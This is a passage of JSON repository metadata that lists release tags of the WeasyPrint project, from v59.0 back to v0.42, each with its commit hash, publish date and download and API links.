:"pkg:github/Kozea/WeasyPrint@v59.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v59.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v59.0/manifests"},{"name":"v59.0b1","sha":"e881acca2e481053f8112b20e5d065714cdad028","kind":"commit","published_at":"2023-04-14T14:08:17.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v59.0b1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v59.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v59.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v59.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v59.0b1/manifests"},{"name":"v58.1","sha":"11bc4e52e4ba262c472640c1249d8ca918ee90be","kind":"commit","published_at":"2023-03-07T09:56:57.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v58.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v58.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v58.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v58.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v58.1/manifests"},{"name":"v58.0","sha":"c0034fa9b010de4961924c02939513e5cfecf654","kind":"commit","published_at":"2023-02-17T10:00:13.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v58.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v58.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v58.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v58.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v58.0/manifests"},{"name":"v58.0b1","sha":"9d1dbe5438dd6891a89869e25a676a6ccf0534e4","kind":"commit","published_at":"2023-02-03T14:45:04.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v58.0b1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v58.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v58.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v58.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v58.0b1/manifests"},{"name":"v57.2","sha":"943cb3a09bb6e3744ccc0aaa2e18a4b13a24b630","kind":"commit","published_at":"2022-12-23T14:29:13.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v57.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v57.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v57.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v57.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v57.2/manifests"},{"name":"v57.1","sha":"ccd305e792881b61f7e1a83779ca8b9dcdefd072","kind":"commit","published_at":"2022-11-04T09:32:34.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v57.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v57.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v57.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v57.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v57.1/manifests"},{"name":"v57.0","sha":"dcdc63df17741af7da1cf65be4550b5fe31eb213","kind":"commit","published_at":"2022-10-18T20:15:53.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v57.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v57.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v57.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v57.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v57.0/manifests"},{"name":"v57.0b1","sha":"1d64134faa90791a0e8689f6c3a364201649df2a","kind":"commit","published_at":"2022-09-22T15:06:06.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v57.0b1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v57.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v57.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v57.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v57.0b1/manifests"},{"name":"v56.1","sha":"b889ceb99da750bd3a9b68a62e4ec4fe8925ed2e","kind":"commit","published_at":"2022-07-24T12:38:41.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v56.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v56.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v56.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v56.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v56.1/manifests"},{"name":"v56.0","sha":"10da5691d54f5652bc927f815bcbc83e557f1b36","kind":"commit","published_at":"2022-07-07T19:33:36.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v56.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v56.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v56.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v56.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v56.0/manifests"},{"name":"v56.0b1","sha":"b8a5d118a890dbdb8a542ba6e8e19269bd9b68da","kind":"commit","published_at":"2022-06-17T09:50:32.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v56.0b1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v56.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v56.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v56.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v56.0b1/manifests"},{"name":"v55.0","sha":"a1b5e5133046c920ee306f7d95cf821ae7c25705","kind":"commit","published_at":"2022-05-12T16:51:04.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v55.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v55.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v55.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v55.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v55.0/manifests"},{"name":"v55.0b1","sha":"e9987fdbd74cf6d3b83e7df8d9b1ec3e0f08d850","kind":"commit","published_at":"2022-04-15T15:03:51.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v55.0b1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v55.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v55.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v55.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v55.0b1/manifests"},{"name":"v54.3","sha":"2adfe066bd56fe1247f7cd537b6c377755a7e47b","kind":"commit","published_at":"2022-04-04T14:21:34.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v54.3","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v54.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v54.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.3/manifests"},{"name":"v54.2","sha":"0320c4fbeec4c9c77ae575e492f39c3ba5a519e3","kind":"commit","published_at":"2022-02-27T16:50:52.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v54.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v54.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v54.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.2/manifests"},{"name":"v54.1","sha":"7882ff1a2570cf6b290c9b498d19772651b9ca4d","kind":"commit","published_at":"2022-01-31T18:47:15.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v54.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v54.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v54.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.1/manifests"},{"name":"v54.0","sha":"a1ff9d414c115f59ab27f0e9ce868df86880edfc","kind":"commit","published_at":"2022-01-08T14:25:26.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v54.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v54.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v54.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.0/manifests"},{"name":"v54.0b1","sha":"55c3d7371e1909f3c04c32ca850fc2e4e65f5e2f","kind":"commit","published_at":"2021-12-13T15:09:24.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v54.0b1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v54.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v54.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v54.0b1/manifests"},{"name":"v53.4","sha":"8441685ee4a6c4640ea91ff408b7d5b946fde7c1","kind":"commit","published_at":"2021-11-14T09:21:44.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v53.4","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v53.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v53.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.4/manifests"},{"name":"v53.3","sha":"d2e33977a65057521fdedf68948d21b60c551f5d","kind":"commit","published_at":"2021-09-10T12:23:32.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v53.3","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v53.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v53.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.3/manifests"},{"name":"v53.2","sha":"d30faf37380af0ac3937b17d9a75a7884ec53800","kind":"commit","published_at":"2021-08-27T12:44:53.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v53.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v53.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v53.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.2/manifests"},{"name":"v53.1","sha":"a5b97e3a2fcebc319c86671cea8a0d40528bd27b","kind":"commit","published_at":"2021-08-22T13:41:11.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v53.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v53.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v53.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.1/manifests"},{"name":"v53.0","sha":"cf267ee43a4a5872633671c2fceadad50fa72357","kind":"commit","published_at":"2021-07-31T20:30:16.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v53.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v53.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v53.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.0/manifests"},{"name":"v53.0b2","sha":"b24198df471e004469e4865ee958706068932586","kind":"commit","published_at":"2021-05-30T17:29:00.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v53.0b2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v53.0b2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v53.0b2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.0b2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.0b2/manifests"},{"name":"v53.0b1","sha":"e983d882849dbb8c0f5fa61ef66619f8db3e4c6f","kind":"commit","published_at":"2021-04-22T10:56:13.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v53.0b1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v53.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v53.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v53.0b1/manifests"},{"name":"v52.5","sha":"07de63387559f312b15fbc413c89a184a42e8375","kind":"commit","published_at":"2021-04-17T15:20:36.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v52.5","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v52.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v52.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.5/manifests"},{"name":"v52.4","sha":"a0de4aba75a9b88e0ffb9da49a7b5579a408f8f5","kind":"commit","published_at":"2021-03-11T15:00:42.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v52.4","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v52.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v52.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.4/manifests"},{"name":"v52.3","sha":"f3c20e55652bc0fdfc63fbc4840225992c10579a","kind":"commit","published_at":"2021-03-02T14:26:44.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v52.3","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v52.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v52.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.3/manifests"},{"name":"v52.2","sha":"5ec1881c51a6ba09ba5c85378ca75d25f5db01b0","kind":"commit","published_at":"2020-12-06T18:14:14.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v52.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v52.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v52.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.2/manifests"},{"name":"v52.1","sha":"af37f05a95694cb7783133cfafd1f93b354721c0","kind":"commit","published_at":"2020-11-02T20:40:16.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v52.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v52.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v52.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52.1/manifests"},{"name":"v52","sha":"a3c3bb56af07457331c8083f8f4f7758f28d4d56","kind":"commit","published_at":"2020-10-29T23:40:14.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v52","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v52/manifests"},{"name":"v51","sha":"2d9a91ad38ccc9da04f6fab57c609ba80907069c","kind":"commit","published_at":"2019-12-23T16:41:50.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v51","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v51/manifests"},{"name":"v50","sha":"a0ccc8d2e6a894d0ae871580a7d4837e088d6582","kind":"commit","published_at":"2019-09-19T11:34:22.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v50","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v50/manifests"},{"name":"v49","sha":"24dfe8093b817cc2d5ba33ab69bd37d7e0cbefa4","kind":"commit","published_at":"2019-09-11T15:09:45.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v49","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v49/manifests"},{"name":"v48","sha":"80c5a8287133259f5deff4442adf8dc64dd4f65c","kind":"commit","published_at":"2019-07-08T11:51:38.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v48","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v48/manifests"},{"name":"v47","sha":"2fa7c2fc1846a6e53de4d5b3ece08d26ce44d37f","kind":"commit","published_at":"2019-04-12T14:45:24.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v47","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v47/manifests"},{"name":"v46","sha":"fb75098c66578836f34f96f9452a6ba0f303a889","kind":"commit","published_at":"2019-03-20T16:40:07.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v46","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v46/manifests"},{"name":"v45","sha":"1d2da0908fdd9fa605255ffa6266be64e4d6e2a1","kind":"commit","published_at":"2019-02-20T16:34:03.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v45","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v45/manifests"},{"name":"v44","sha":"1b6be64ae6a15cd82bd3b17d63ffe47c385b3fca","kind":"commit","published_at":"2018-12-29T16:23:06.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v44","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v44/manifests"},{"name":"v43","sha":"0f25c532873653a5bdc258c723dfe07c2085beaf","kind":"commit","published_at":"2018-11-09T08:19:21.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v43","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v43/manifests"},{"name":"v43rc2","sha":"9c39fcb14dda466678f19fe24bb677512c222bb5","kind":"commit","published_at":"2018-11-02T15:09:12.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v43rc2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v43rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v43rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v43rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v43rc2/manifests"},{"name":"v43rc1","sha":"4a3f78e80502bd797afd23f1f14ce78965369123","kind":"commit","published_at":"2018-10-15T16:40:10.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v43rc1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v43rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v43rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v43rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v43rc1/manifests"},{"name":"v0.42.3","sha":"c958d3fd87c6cb3507805d6e0fd2d988e357f279","kind":"commit","published_at":"2018-03-27T20:55:02.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.42.3","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.42.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.42.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.42.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.42.3/manifests"},{"name":"v0.42.2","sha":"6a622d09d7e8b1371d8815a93ccc24e278f01b67","kind":"commit","published_at":"2018-02-04T15:38:14.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.42.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.42.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.42.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.42.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.42.2/manifests"},{"name":"v0.42.1","sha":"2dbfaac159a31ef9f1d354346b184354cc8fc520","kind":"commit","published_at":"2018-02-01T17:32:11.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.42.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.42.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.42.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.42.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.42.1/manifests"},{"name":"v0.42","sha":"5bb48158445a6f3a97f5d8a160551e7cf958cebc","kind":"commit","published_at":"2017-12-26T14:44:49.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.42","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.42","dependencies_parsed_at":null,"dependency_job_